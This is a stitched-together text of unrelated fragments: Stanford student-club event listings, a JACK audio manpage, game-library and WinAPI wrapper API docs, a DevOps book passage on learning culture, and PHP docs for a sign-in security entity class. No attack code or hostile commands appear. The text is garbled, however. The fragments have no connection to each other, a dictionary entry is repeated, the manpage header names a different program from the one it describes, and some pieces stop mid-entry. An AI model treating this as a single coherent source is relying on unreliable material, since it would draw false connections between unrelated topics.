24 hours · Open Source Theme · Local VCs on judge panel · Win plane tickets to Las Vegas · Unlimited Caffeine · Midnight Korean BBQ · Be there
An overview of the job search process from the point of view of a graduating senior, focusing on the key decision points needed to get a job and start a career you will enjoy.
By Paul Twohey, Co-Founder of Ness Computing.
ACM and Low Battery will once again be hosting a video game party featuring the popular game "League of Legends." Riot Games (creators of LoL) will be there with free food, swag, and representatives to answer your questions about the games industry. Bring your laptop/desktop for some epic gaming action, or play on the consoles we'll have available.
Video game party featuring the recently released game "Halo 4." There will be at least five Xboxes available for you guys to play on. If Halo is not your thing, feel free to bring your laptop/desktop to play other games like League of Legends and StarCraft 2.
Join ACM and Low Battery for our first video game party of the quarter! This LAN's theme is LAN of Legends, because it will be featuring a League of Legends tournament as well as swag from Riot. Bring your laptop/desktop for some epic gaming action, or play on the consoles we'll have available.
ACM and Low Battery present our second video game party of the quarter: FPS Fest Part Deux! We will have tournaments in Counter Strike:GO and Call of Duty, with the winners having the opportunity to represent Stanford in a Black Ops tournament against Cal. As always, bring your laptop/desktop, or play on the consoles we'll have available. All games welcome!
CS and Engineering Challenges at Quora
Given a discrete probability distribution, one can sample from it quickly using standard algorithms such as the alias method (Walker 1977). However, these algorithms assume the distribution does not change between samples, that is, the sampling is done with replacement. We present an efficient algorithm for sampling from a discrete probability distribution without replacement and its application at Hulu.
Development efficiency is vital to save time and iterate quickly. In an effort to improve front-end efficiency, Nodefront, a Node.js-powered utility, bundles a static site compiler, live development server, library fetcher, and build utility into one, simple command-line tool. Best of all, it's free and open source. Join Karthik for an introduction to Nodefront and how it can help your workflow.
Slides for the presentation are available online.
An in depth look at MongoDB and how we're leading the NoSQL revolution: 10gen is the company behind MongoDB, the open source document-oriented database helping tens of thousands of companies quickly and easily deliver, scale, and operate applications.
Reactivity and the realtime web: Reactivity is the key to writing next generation realtime web applications. This tech talk will break down how we think about reactivity at Asana, and provide a glimpse into some of the cutting edge reactivity research we are pursuing.
(5pm) In this tech talk Katherine Scott and Anthony Oliver from the lead developers of SimpleCV will discuss the current state of the art of computer vision in Python, using Python as a free and open-source alternative to Matlab, and our experience creating a start-up that focuses on web-enabled machine vision for manufacturing.
(6pm) "Hacking the Graph." Addepar's mission is to fix global finance by creating transparency and reducing risk. We'll present our idea of a global financial graph. We'll show the type of computations we can do on that graph to reveal risk in a novel way.
At Palantir Health, we want to empower the bioscience and healthcare experts who are solving the hardest problems in their domains to work with data as if they were computer scientists. Lekan Wang, Product Lead for Palantir Health (BS ‘09, MS ’11), and Abi Raja (’13), will talk about and show a few experimental summer projects they worked on toward this goal.
MySQL to NoSQL, the great debate like Cal vs. Stanford
Optimizing Hash Aggregation to Best Utilize the CPU - In my summer working on Cloudera Impala, I was tasked with finding the optimal hash aggregation algorithm. The naive implementation of this operation has an essentially random memory access pattern and thus slows down dramatically when the size of the hash table exceeds the size of processor cache. This talk will discuss the challenges and strategies for optimizing algorithms to best take advantage of modern CPU's and how this applies to the problem of hash aggregation.
Prismatic delivers realtime newsfeeds for thousands of learned topics based on your interests and social networks. The Prismatic backend requires many custom abstractions, sophisticated machine learning techniques, data crawling, and graph analysis algorithms. We discuss how our small backend team (just four engineers) built this stack in record time using a unique design philosophy facilitated by Clojure. In a nutshell, our problem-solving approach prefers lightweight composable custom abstractions for problems rather than monolithic open-source frameworks (e.g., Hadoop).
(1 hour) Game development using a tool called Construct 2, which allows you to build games and export to a number of platforms including Windows 8. There will be a tutorial to build an introductory shooter game, and you will learn how to use concepts like objects, events, and behaviors.
(1 hour)Secure off-line web apps with Firefox OS: Firefox OS is Mozilla's new project to develop an open and hackable mobile phone operating system. The talk will cover the basics of the architecture and porting web applications to use secure APIs. Bring your laptop and we will go over downloading and using B2G Desktop, the Firefox OS simulator that runs on Windows, Mac, and Linux. We will cover installation, basic usage, web application development and installation, remote debugging,and advanced Web APIs.
At TrialPay, an alternative payments platform with over 200 million users and 100 million impressions/day, we face many security-related challenges. Our CTO and co-founder, Eddie Lim, will be covering best practices and pitfalls to avoid when storing user credentials and credit card numbers.
ArduSat is a prototype nanosatellite platform that aims to give independent citizens the ability to perform affordable, on-demand space science. It is the first of many satellites that will carry the Arduino microprocessor, which NanoSatisfi (the team developing the satellite) aims to use to stimulate Science, Technology, Engineering, and Math (STEM) education and increase student interest in science and technology. The platform will be the first satellite to give unrestricted access to space hardware to private citizens worldwide.
Matt Dalio, CEO of Endless and Stanford alumnus, along with Stanford CS student Patrick Ward, will demo their product and discuss methods for developing a free Linux desktop environment and apps to serve billions in developing countries via smartphones. They’ll discuss portability, distribution, ease of use, network infrastructure constraints, and security.
(one hour) Salesforce Touch offers a new way for sales people to engage with customers, colleagues, and the world. Now reps and managers have the ability to close deals wherever they are, on any mobile device. With Touch, CRM is just the beginning. You can easily extend your success and take advantage of the power of HTML5 to build custom mobile apps on the Touch platform.
Trends in database technologies:Over the last few years we've seen a range of NoSQL stores from MongoDB to Cassandra to Neo4j break the traditional dominance of relational databases. This talk will look at the evolving use cases for the four main types of NoSQL data stores and will then look at the next big thing in databases - immutable data stores like datomic.
Druid is a distributed column-oriented analytical data store in use at Metamarkets (http://www.metamarkets.com). One Druid cluster currently exposes a data set of >30 billion rows of data representing >1.5 trillion impressions. The talk will discuss design considerations and architecture of the system.
Costa Sapuntzakis (PhD '06) of Pure Storage will talk about how to build an enterprise storage system around flash. The system is 10x faster than disk-based system, consumes 10x less power, takes 10x less space, is a lot simpler to setup and use, and for many workloads costs less. You'll learn about the architecture and data structures that make this thing tick as well as more general insights on using flash well. About the speaker: Constantine Sapuntzakis (PhD '06) works on Purity at Pure Storage. In 2005, Costa co-founded moka5, Inc., to commercialize his doctoral research into the delivery of software through virtual appliances. While at Cisco Systems in 2000, Costa developed the initial draft of the iSCSI protocol along with IBM.
Building high performance web applications:Learn how to build complex web applications that are fast and responsive. We'll cover a bunch of tips and tricks, which we used in developing our "Photos" page on the web site, including: - Taking advantage of automatic browser caching - Lazy loading of images - Hacking around DOM limitations - Making AJAX requests progressive to enable incremental loading - Using HTML5 local storage
(one hour) Scaling the Medical Genome: Counsyl is now doing genomic testing on more than 2% of all births inthe United States.We're a Bay Area genomics startup that's developed an affordable pre-pregnancy test featured in the New York Times, named one of Scientific American's Top 10 World Changing Ideas, and won the Wall Street Journal Innovation Award for Medicine. We will cover interesting material in robotics, sequencing, machine learning, or building the UI for the medical genome
Sift Science fights fraud with machine learning. This talk will present the kinds of fraud endemic to the Internet and how we use large-scale machine learning to predict it and fight back. We will focus on the system and algorithmic challenges of "real world" machine learning from hundreds of millions of complex, heterogeneous events and how Sift solves them.
Architecting a Scalable & Simple Web Frontend:Backbone.js and Bootstrap are great tools to use as a foundation for your product... but where can you go from there? This talk highlights front-end challenges and triumphs at Backplane, a Palo Alto based startup building communities and solving the problem of organized mass communication. We will go through some basics but will focus heavily on advanced topics such as optimizing frontend deployment, making up for existing libraries' weaknesses, JS OOP design patterns, and engineering your frontend for a growing organization.


JACK_CONNECT(1) JACK_CONNECT(1) NAME jack_monitor_client - The JACK Audio Connection Kit example client SYNOPSIS jack_monitor_client client-name The client-name must be the name of a existing client that monitoring is to be enabled for. DESCRIPTION jack_monitor_client is an example client for the JACK Audio Connection Kit. It enables monitoring for the specified client. AUTHOR Jeremy Hall This manpage was written by Robert Jordens<EMAIL_ADDRESS>for Debian. 1.9.9 November 2012 JACK_CONNECT(1)


Present a video
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Namespace GoRogue.MapGeneration.Connectors
Classes
CenterBoundsConnectionPointSelector
Selects the center points of the bounding boxes of each map area. On concave map areas, because the center point of the bounding box is not actually guaranteed to be among the MapArea's walkable tiles, connecting these two points is not guaranteed to actually connect the entirety of the two areas.
ClosestConnectionPointSelector
Point selector that selects the two points from the MapAreas that are closest to each other according to the given distance calculation.
ClosestMapAreaConnector
Implements a connection algorithm that connects all unique map areas in the given map by connecting each area with the one closest to it.
DeadEndTrimmer
Implements an algorithm that will prune small dead-end locations (locations surrounded by 3 walls), from a map/list of map areas.
DirectLineTunnelCreator
Implements a tunnel creation algorithm that sets as walkable a direct line between the two points. In the case that MAHNATTAN distance is being used, the line is calculated via the Coord.CardinalPositionOnLine function. Otherwise, the line is calculated using Coord.PositionsOnLine (brensham's).
HorizontalVerticalTunnelCreator
Implements a tunnel creation algorithm that creates a tunnel that performs all needed vertical movement before horizontal movement, or vice versa (depending on rng).
OrderedMapAreaConnector
Same as ClosestMapAreaConnector, but connects random rooms instead of determining the closest one, or connects rooms in the order specified if you give it a list of MapAreas.
RandomConnectionPointSelector
Implements a the selection algorithm that simply selects random points from the given MapArea's positions lists, using the RNG specified, or the default rng if null is given.
RoomDoorConnector
Opens up room walls to connect tunnels that are placed near rooms.
Interfaces
IAreaConnectionPointSelector
Interface for implementing an algorithm for selecting the Coords to connect in order to connect two given map areas.
ITunnelCreator
Interface for implementing an algorithm for creating a tunnel between two positions on a walkability map.


| WinAPI Wrapper |
The Button class extends the Button standard Windows control with C++ functionality. It is derived from the Control class. See Buttons Overview for details.
The Button class has the following functions:
| Function | Related message | Description |
|---|---|---|
| Button | - | Creates the object optionally assigning an existing control handle to it. |
| Create | CreateWindowEx | Creates the control. |
| Click | BM_CLICK | Simulates a user click. |
| GetCheck | BM_GETCHECK | Retrieves button check state. |
| SetCheck | BM_SETCHECK | Sets button check state. |
| GetState | BM_GETSTATE | Retrieves generic button state. |
| SetState | BM_SETSTATE | Sets generic button state. |
| SetStyle | BM_SETSTYLE | Changes button style. |
| GetBitmap | BM_GETIMAGE | Retrieves HBITMAP associated with the button. |
| GetIcon | BM_GETIMAGE | Retrieves HICON associated with the button. |
| SetBitmap | BM_SETIMAGE | Sets HBITMAP to the button. |
| SetIcon | BM_SETIMAGE | Sets HICON to the button. |
WinAPI Wrapper, WinAPI Wrapper classes, Buttons Overview, Button Messages


While the First Way addresses work flow from left to right and the Second Way addresses the reciprocal fast and constant feedback from right to left, the Third Way focuses on creating a culture of continual learning and experimentation. These are the principles that enable constant creation of individual knowledge, which is then turned into team and organizational knowledge.
In manufacturing operations with systemic quality and safety problems, work is typically rigidly defined and enforced. For instance, in the GM Fremont plant described in the previous chapter, workers had little ability to integrate improvements and learnings into their daily work, with suggestions for improvement “apt to meet a brick wall of indifference.”
In these environments, there is also often a culture of fear and low trust, where workers who make mistakes are punished, and those who make suggestions or point out problems are viewed as whistle-blowers and troublemakers. When this occurs, leadership is actively suppressing, even punishing, learning and improvement, perpetuating quality and safety problems.
In contrast, high-performing manufacturing operations require and actively promote learning—instead of work being rigidly defined, the system of work is dynamic, with line workers performing experiments in their daily work to generate new improvements, enabled by rigorous standardization of work procedures and documentation of the results.
In the technology value stream, our goal is to create a high-trust culture, reinforcing that we are all lifelong learners who must take risks in our daily work. By applying a scientific approach to both process improvement and product development, we learn from our successes and failures, identifying which ideas don’t work and reinforcing those that do. Moreover, any local learnings are rapidly turned into global improvements, so that new techniques and practices can be used by the entire organization.
We reserve time for the improvement of daily work and to further accelerate and ensure learning. We consistently introduce stress into our systems to force continual improvement. We even simulate and inject failures in our production services under controlled conditions to increase our resilience.
By creating this continual and dynamic system of learning, we enable teams to rapidly and automatically adapt to an ever-changing environment, which ultimately helps us win in the marketplace.
When we work within a complex system, by definition it is impossible for us to perfectly predict all the outcomes for any action we take. This is what contributes to unexpected, or even catastrophic, outcomes and accidents in our daily work, even when we take precautions and work carefully.
When these accidents affect our customers, we seek to understand why it happened. The root cause is often deemed to be human error, and the all too common management response is to “name, blame, and shame” the person who caused the problem.† And, either subtly or explicitly, management hints that the person guilty of committing the error will be punished. They then create more processes and approvals to prevent the error from happening again.
Dr. Sidney Dekker, who codified some of the key elements of safety culture and coined the term just culture, wrote, “Responses to incidents and accidents that are seen as unjust can impede safety investigations, promote fear rather than mindfulness in people who do safety-critical work, make organizations more bureaucratic rather than more careful, and cultivate professional secrecy, evasion, and self-protection.”
These issues are especially problematic in the technology value stream—our work is almost always performed within a complex system, and how management chooses to react to failures and accidents leads to a culture of fear, which then makes it unlikely that problems and failure signals are ever reported. The result is that problems remain hidden until a catastrophe occurs.
Dr. Ron Westrum was one of the first to observe the importance of organizational culture on safety and performance. He observed that in healthcare organizations, the presence of “generative” cultures was one of the top predictors of patient safety. Dr. Westrum defined three types of culture:
Just as Dr. Westrum found in healthcare organizations, a high-trust, generative culture also predicted IT and organizational performance in technology value streams.
In the technology value stream, we establish the foundations of a generative culture by striving to create a safe system of work. When accidents and failures occur, instead of looking for human error, we look for how we can redesign the system to prevent the accident from happening again.
For instance, we may conduct a blameless post-mortem after every incident to gain the best understanding of how the accident occurred and agree upon what the best countermeasures are to improve the system, ideally preventing the problem from occurring again and enabling faster detection and recovery.
By doing this, we create organizational learning. As Bethany Macri, an engineer at Etsy who led the creation of the Morgue tool to help with recording of post-mortems, stated, “By removing blame, you remove fear; by removing fear, you enable honesty; and honesty enables prevention.”
Dr. Spear observes that the result of removing blame and putting organizational learning in its place is that “organizations become ever more self-diagnosing and self-improving, skilled at detecting problems [and] solving them.”
Many of these attributes were also described by Dr. Senge as attributes of learning organizations. In The Fifth Discipline, he wrote that these characteristics help customers, ensure quality, create competitive advantage and an energized and committed workforce, and uncover the truth.
Teams are often not able or not willing to improve the processes they operate within. The result is not only that they continue to suffer from their current problems, but their suffering also grows worse over time. Mike Rother observed in Toyota Kata that in the absence of improvements, processes don’t stay the same—due to chaos and entropy, processes actually degrade over time.
In the technology value stream, when we avoid fixing our problems, relying on daily workarounds, our problems and technical debt accumulates until all we are doing is performing workarounds, trying to avoid disaster, with no cycles leftover for doing productive work. This is why Mike Orzen, author of Lean IT, observed, “Even more important than daily work is the improvement of daily work.”
We improve daily work by explicitly reserving time to pay down technical debt, fix defects, and refactor and improve problematic areas of our code and environments—we do this by reserving cycles in each development interval, or by scheduling kaizen blitzes, which are periods when engineers self-organize into teams to work on fixing any problem they want.
The result of these practices is that everyone finds and fixes problems in their area of control, all the time, as part of their daily work. When we finally fix the daily problems that we’ve worked around for months (or years), we can eradicate from our system the less obvious problems. By detecting and responding to these ever-weaker failure signals, we fix problems when it is not only easier and cheaper but also when the consequences are smaller.
Consider the following example that improved workplace safety at Alcoa, an aluminum manufacturer with $7.8 billion in revenue in 1987. Aluminum manufacturing requires extremely high heat, high pressures, and corrosive chemicals. In 1987, Alcoa had a frightening safety record, with 2% of the ninety thousand employee workforce being injured each year—that’s seven injuries per day. When Paul O’Neill started as CEO, his first goal was to have zero injuries to employees, contractors, and visitors.
O’Neill wanted to be notified within twenty-four hours of anyone being injured on the job—not to punish, but to ensure and promote that learnings were being generated and incorporated to create a safer workplace. Over the course of ten years, Alcoa reduced their injury rate by 95%.
The reduction in injury rates allowed Alcoa to focus on smaller problems and weaker failure signals—instead of notifying O’Neill only when injuries occurred, they started reporting any close calls as well.‡ By doing this, they improved workplace safety over the subsequent twenty years and have one of the most enviable safety records in the industry.
As Dr. Spear writes, “Alcoans gradually stopped working around the difficulties, inconveniences, and impediments they experienced. Coping, fire fighting, and making do were gradually replaced throughout the organization by a dynamic of identifying opportunities for process and product improvement. As those opportunities were identified and the problems were investigated, the pockets of ignorance that they reflected were converted into nuggets of knowledge.” This helped give the company a greater competitive advantage in the market.
Similarly, in the technology value stream, as we make our system of work safer, we find and fix problems from ever weaker failure signals. For example, we may initially perform blameless post-mortems only for customer-impacting incidents. Over time, we may perform them for lesser team-impacting incidents and near misses as well.
When new learnings are discovered locally, there must also be some mechanism to enable the rest of the organization to use and benefit from that knowledge. In other words, when teams or individuals have experiences that create expertise, our goal is to convert that tacit knowledge (i.e., knowledge that is difficult to transfer to another person by means of writing it down or verbalizing) into explicit, codified knowledge, which becomes someone else’s expertise through practice.
This ensures that when anyone else does similar work, they do so with the cumulative and collective experience of everyone in the organization who has ever done the same work. A remarkable example of turning local knowledge into global knowledge is the US Navy’s Nuclear Power Propulsion Program (also known as “NR” for “Naval Reactors”), which has over 5,700 reactor-years of operation without a single reactor-related casualty or escape of radiation.
The NR is known for their intense commitment to scripted procedures and standardized work, and the need for incident reports for any departure from procedure or normal operations to accumulate learnings, no matter how minor the failure signal—they constantly update procedures and system designs based on these learnings.
The result is that when a new crew sets out to sea on their first deployment, they and their officers benefit from the collective knowledge of 5,700 accident-free reactor-years. Equally impressive is that their own experiences at sea will be added to this collective knowledge, helping future crews safely achieve their own missions.
In the technology value stream, we must create similar mechanisms to create global knowledge, such as making all our blameless post-mortem reports searchable by teams trying to solve similar problems, and by creating shared source code repositories that span the entire organization, where shared code, libraries, and configurations that embody the best collective knowledge of the entire organization can be easily utilized. All these mechanisms help convert individual expertise into artifacts that the rest of the organization can use.
Lower-performing manufacturing organizations buffer themselves from disruptions in many ways—in other words, they bulk up or add flab. For instance, to reduce the risk of a work center being idle (due to inventory arriving late, inventory that had to be scrapped, etc.), managers may choose to stockpile more inventory at each work center. However, that inventory buffer also increases WIP, which has all sorts of undesired outcomes, as previously discussed.
Similarly, to reduce the risk of a work center going down due to machinery failure, managers may increase capacity by buying more capital equipment, hiring more people, or even increasing floor space. All these options increase costs.
In contrast, high performers achieve the same results (or better) by improving daily operations, continually introducing tension to elevate performance, as well as engineering more resilience into their system.
Consider a typical experiment at one of Aisin Seiki Global’s mattress factories, one of Toyota’s top suppliers. Suppose they had two production lines, each capable of producing one hundred units per day. On slow days, they would send all production onto one line, experimenting with ways to increase capacity and identify vulnerabilities in their process, knowing that if overloading the line caused it to fail, they could send all production to the second line.
By relentless and constant experimentation in their daily work, they were able to continually increase capacity, often without adding any new equipment or hiring more people. The emergent pattern that results from these types of improvement rituals not only improves performance but also improves resilience, because the organization is always in a state of tension and change. This process of applying stress to increase resilience was named antifragility by author and risk analyst Nassim Nicholas Taleb.
In the technology value stream, we can introduce the same type of tension into our systems by seeking to always reduce deployment lead times, increase test coverage, decrease test execution times, and even by re-architecting if necessary to increase developer productivity or increase reliability.
 Or we may inject ever-larger scale faults into the production environment (such as the famous Netflix “Chaos Monkey,” which randomly kills processes and compute servers in production) to ensure that we’re as resilient as we want to be.
Traditionally, leaders were expected to be responsible for setting objectives, allocating resources for achieving those objectives, and establishing the right combination of incentives. Leaders also establish the emotional tone for the organizations they lead. In other words, leaders lead by “making all the right decisions.”
However, there is significant evidence that shows greatness is not achieved by leaders making all the right decisions—instead, the leader’s role is to create the conditions so their team can discover greatness in their daily work. In other words, creating greatness requires both leaders and workers, each of whom are mutually dependent upon each other.
Jim Womack, author of Gemba Walks, described the complementary working relationship and mutual respect that must occur between leaders and frontline workers. According to Womack, this relationship is necessary because neither can solve problems alone—leaders are not close enough to the work, which is required to solve any problem, and frontline workers do not have the broader organizational context or the authority to make changes outside of their area of work.§
Leaders must elevate the value of learning and disciplined problem solving. Mike Rother formalized these methods in what he calls the coaching kata. The result is one that mirrors the scientific method, where we explicitly state our True North goals, such as “sustain zero accidents” in the case of Alcoa, or “double throughput within a year” in the case of Aisin.
These strategic goals then inform the creation of iterative, shorter term goals, which are cascaded and then executed by establishing target conditions at the value stream or work center level (e.g., “reduce lead time by 10% within the next two weeks”).
These target conditions frame the scientific experiment: we explicitly state the problem we are seeking to solve, our hypothesis of how our proposed countermeasure will solve it, our methods for testing that hypothesis, our interpretation of the results, and our use of learnings to inform the next iteration.
The leader helps coach the person conducting the experiment with questions that may include:
This problem-solving approach in which leaders help workers see and solve problems in their daily work is at the core of the Toyota Production System, of learning organizations, the Improvement Kata, and high-reliability organizations. Mike Rother observes that he sees Toyota “as an organization defined primarily by the unique behavior routines it continually teaches to all its members.”
In the technology value stream, this scientific approach and iterative method guides all of our internal improvement processes, but also how we perform experiments to ensure that the products we build actually help our internal and external customers achieve their goals.
The principles of the Third Way address the need for valuing organizational learning, enabling high trust and boundary-spanning between functions, accepting that failures will always occur in complex systems, and making it acceptable to talk about problems so we can create a safe system of work. It also requires institutionalizing the improvement of daily work, converting local learnings into global learnings that can be used by the entire organization, as well as continually injecting tension into our daily work.
Although fostering a culture of continual learning and experimentation is the principle of the Third Way, it is also interwoven into the First and Second Ways. In other words, improving flow and feedback requires an iterative and scientific approach that includes framing of a target condition, stating a hypothesis of what will help us get there, designing and conducting experiments, and evaluating the results.
The results are not only better performance but also increased resilience, higher job satisfaction, and improved organization adaptability.
In Part I of The DevOps Handbook we looked back at several movements in history that helped lead to the development of DevOps. We also looked at the three main principles that form the foundation for successful DevOps organizations: the principles of Flow, Feedback, and Continual Learning and Experimentation. In Part II, we will begin to look at how to start a DevOps movement in your organization.


Tester test cases must be run manually.
In the test file, the test case must be instantiated and executed via the run() method in order to actually run the tests.
run()


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We learned with regret the death of Zeno, Zhi, Ziv and Zuberi. The ceremony will take place in Z lake on Friday. All animals in Z forest are invited except:


© 2012 Mampel Design. All rights reserved. Adv SlideShow example with JavaScript and CSS3. Mohammad Reza Shariatzadeh<EMAIL_ADDRESS>|| www.Mampel.ir


"CHIEFS OF ASIA "“Asiarchs,” the title given to certain wealthy persons annually appointed to preside over the religious festivals and games in the various cities of proconsular Asia (Acts 19:31). Some of these officials appear to have been Paul’s friends.
"CHIEFS OF ASIA "“Asiarchs,” the title given to certain wealthy persons annually appointed to preside over the religious festivals and games in the various cities of proconsular Asia (Acts 19:31). Some of these officials appear to have been Paul’s friends.


UserSecurityState extends Entity
UserSecurityState class
Tags
Table of Contents
- $_propDict : array<string|int, mixed>
- The array of properties available to the model
- __construct() : mixed
- Construct a new Entity
- getAadUserId() : string|null
- Gets the aadUserId AAD User object identifier (GUID) - represents the physical/multi-account user entity.
- getAccountName() : string|null
- Gets the accountName Account name of user account (without Active Directory domain or DNS domain) - (also called mailNickName).
- getDomainName() : string|null
- Gets the domainName NetBIOS/Active Directory domain of user account (that is, domain/account format).
- getEmailRole() : EmailRole|null
- Gets the emailRole For email-related alerts - user account's email 'role'. Possible values are: unknown, sender, recipient.
- getId() : string|null
- Gets the id Read-only.
- getIsVpn() : bool|null
- Gets the isVpn Indicates whether the user logged on through a VPN.
- getLogonDateTime() : DateTime|null
- Gets the logonDateTime Time at which the sign-in occurred. The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z.
- getLogonId() : string|null
- Gets the logonId User sign-in ID.
- getLogonIp() : string|null
- Gets the logonIp IP Address the sign-in request originated from.
- getLogonLocation() : string|null
- Gets the logonLocation Location (by IP address mapping) associated with a user sign-in event by this user.
- getLogonType() : LogonType|null
- Gets the logonType Method of user sign in. Possible values are: unknown, interactive, remoteInteractive, network, batch, service.
- getODataType() : string|null
- Gets the ODataType
- getOnPremisesSecurityIdentifier() : string|null
- Gets the onPremisesSecurityIdentifier Active Directory (on-premises) Security Identifier (SID) of the user.
- getProperties() : array<string|int, mixed>
- Gets the property dictionary of the Entity
- getRiskScore() : string|null
- Gets the riskScore Provider-generated/calculated risk score of the user account. Recommended value range of 0-1, which equates to a percentage.
- getUserAccountType() : UserAccountSecurityType|null
- Gets the userAccountType User account type (group membership), per Windows definition. Possible values are: unknown, standard, power, administrator.
- getUserPrincipalName() : string|null
- Gets the userPrincipalName User sign-in name - internet format: (user account name)@(user account DNS domain name).
- jsonSerialize() : array<string|int, mixed>
- Serializes the object by property array Manually serialize DateTime into RFC3339 format
- setAadUserId() : UserSecurityState
- Sets the aadUserId AAD User object identifier (GUID) - represents the physical/multi-account user entity.
- setAccountName() : UserSecurityState
- Sets the accountName Account name of user account (without Active Directory domain or DNS domain) - (also called mailNickName).
- setDomainName() : UserSecurityState
- Sets the domainName NetBIOS/Active Directory domain of user account (that is, domain/account format).
- setEmailRole() : UserSecurityState
- Sets the emailRole For email-related alerts - user account's email 'role'. Possible values are: unknown, sender, recipient.
- setId() : Entity
- Sets the id Read-only.
- setIsVpn() : UserSecurityState
- Sets the isVpn Indicates whether the user logged on through a VPN.
- setLogonDateTime() : UserSecurityState
- Sets the logonDateTime Time at which the sign-in occurred. The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z.
- setLogonId() : UserSecurityState
- Sets the logonId User sign-in ID.
- setLogonIp() : UserSecurityState
- Sets the logonIp IP Address the sign-in request originated from.
- setLogonLocation() : UserSecurityState
- Sets the logonLocation Location (by IP address mapping) associated with a user sign-in event by this user.
- setLogonType() : UserSecurityState
- Sets the logonType Method of user sign in. Possible values are: unknown, interactive, remoteInteractive, network, batch, service.
- setODataType() : Entity
- Sets the ODataType
- setOnPremisesSecurityIdentifier() : UserSecurityState
- Sets the onPremisesSecurityIdentifier Active Directory (on-premises) Security Identifier (SID) of the user.
- setRiskScore() : UserSecurityState
- Sets the riskScore Provider-generated/calculated risk score of the user account. Recommended value range of 0-1, which equates to a percentage.
- setUserAccountType() : UserSecurityState
- Sets the userAccountType User account type (group membership), per Windows definition. Possible values are: unknown, standard, power, administrator.
- setUserPrincipalName() : UserSecurityState
- Sets the userPrincipalName User sign-in name - internet format: (user account name)@(user account DNS domain name).
Properties
$_propDict
The array of properties available to the model
protected
array<string|int, mixed>
$_propDict
Methods
__construct()
Construct a new Entity
public
__construct([array<string|int, mixed> $propDict = array() ]) : mixed
Parameters
- $propDict : array<string|int, mixed> = array()
-
A list of properties to set
Return values
mixed —getAadUserId()
Gets the aadUserId AAD User object identifier (GUID) - represents the physical/multi-account user entity.
public
getAadUserId() : string|null
Return values
string|null —The aadUserId
getAccountName()
Gets the accountName Account name of user account (without Active Directory domain or DNS domain) - (also called mailNickName).
public
getAccountName() : string|null
Return values
string|null —The accountName
getDomainName()
Gets the domainName NetBIOS/Active Directory domain of user account (that is, domain/account format).
public
getDomainName() : string|null
Return values
string|null —The domainName
getEmailRole()
Gets the emailRole For email-related alerts - user account's email 'role'. Possible values are: unknown, sender, recipient.
public
getEmailRole() : EmailRole|null
Return values
EmailRole|null —The emailRole
getId()
Gets the id Read-only.
public
getId() : string|null
Return values
string|null —The id
getIsVpn()
Gets the isVpn Indicates whether the user logged on through a VPN.
public
getIsVpn() : bool|null
Return values
bool|null —The isVpn
getLogonDateTime()
Gets the logonDateTime Time at which the sign-in occurred. The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z.
public
getLogonDateTime() : DateTime|null
Return values
DateTime|null —The logonDateTime
getLogonId()
Gets the logonId User sign-in ID.
public
getLogonId() : string|null
Return values
string|null —The logonId
getLogonIp()
Gets the logonIp IP Address the sign-in request originated from.
public
getLogonIp() : string|null
Return values
string|null —The logonIp
getLogonLocation()
Gets the logonLocation Location (by IP address mapping) associated with a user sign-in event by this user.
public
getLogonLocation() : string|null
Return values
string|null —The logonLocation
getLogonType()
Gets the logonType Method of user sign in. Possible values are: unknown, interactive, remoteInteractive, network, batch, service.
public
getLogonType() : LogonType|null
Return values
LogonType|null —The logonType
getODataType()
Gets the ODataType
public
getODataType() : string|null
Return values
string|null —The ODataType
getOnPremisesSecurityIdentifier()
Gets the onPremisesSecurityIdentifier Active Directory (on-premises) Security Identifier (SID) of the user.
public
getOnPremisesSecurityIdentifier() : string|null
Return values
string|null —The onPremisesSecurityIdentifier
getProperties()
Gets the property dictionary of the Entity
public
getProperties() : array<string|int, mixed>
Return values
array<string|int, mixed> —The list of properties
getRiskScore()
Gets the riskScore Provider-generated/calculated risk score of the user account. Recommended value range of 0-1, which equates to a percentage.
public
getRiskScore() : string|null
Return values
string|null —The riskScore
getUserAccountType()
Gets the userAccountType User account type (group membership), per Windows definition. Possible values are: unknown, standard, power, administrator.
public
getUserAccountType() : UserAccountSecurityType|null
Return values
UserAccountSecurityType|null —The userAccountType
getUserPrincipalName()
Gets the userPrincipalName User sign-in name - internet format: (user account name)@(user account DNS domain name).
public
getUserPrincipalName() : string|null
Return values
string|null —The userPrincipalName
jsonSerialize()
Serializes the object by property array Manually serialize DateTime into RFC3339 format
public
jsonSerialize() : array<string|int, mixed>
Return values
array<string|int, mixed> —The list of properties
setAadUserId()
Sets the aadUserId AAD User object identifier (GUID) - represents the physical/multi-account user entity.
public
setAadUserId(string $val) : UserSecurityState
Parameters
- $val : string
-
The value of the aadUserId
Return values
UserSecurityState —setAccountName()
Sets the accountName Account name of user account (without Active Directory domain or DNS domain) - (also called mailNickName).
public
setAccountName(string $val) : UserSecurityState
Parameters
- $val : string
-
The value of the accountName
Return values
UserSecurityState —setDomainName()
Sets the domainName NetBIOS/Active Directory domain of user account (that is, domain/account format).
public
setDomainName(string $val) : UserSecurityState
Parameters
- $val : string
-
The value of the domainName
Return values
UserSecurityState —setEmailRole()
Sets the emailRole For email-related alerts - user account's email 'role'. Possible values are: unknown, sender, recipient.
public
setEmailRole(EmailRole $val) : UserSecurityState
Parameters
- $val : EmailRole
-
The value to assign to the emailRole
Return values
UserSecurityState —The UserSecurityState
setId()
Sets the id Read-only.
public
setId(string $val) : Entity
Parameters
- $val : string
-
The id
Return values
Entity —setIsVpn()
Sets the isVpn Indicates whether the user logged on through a VPN.
public
setIsVpn(bool $val) : UserSecurityState
Parameters
- $val : bool
-
The value of the isVpn
Return values
UserSecurityState —setLogonDateTime()
Sets the logonDateTime Time at which the sign-in occurred. The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z.
public
setLogonDateTime(DateTime $val) : UserSecurityState
Parameters
- $val : DateTime
-
The value to assign to the logonDateTime
Return values
UserSecurityState —The UserSecurityState
setLogonId()
Sets the logonId User sign-in ID.
public
setLogonId(string $val) : UserSecurityState
Parameters
- $val : string
-
The value of the logonId
Return values
UserSecurityState —setLogonIp()
Sets the logonIp IP Address the sign-in request originated from.
public
setLogonIp(string $val) : UserSecurityState
Parameters
- $val : string
-
The value of the logonIp
Return values
UserSecurityState —setLogonLocation()
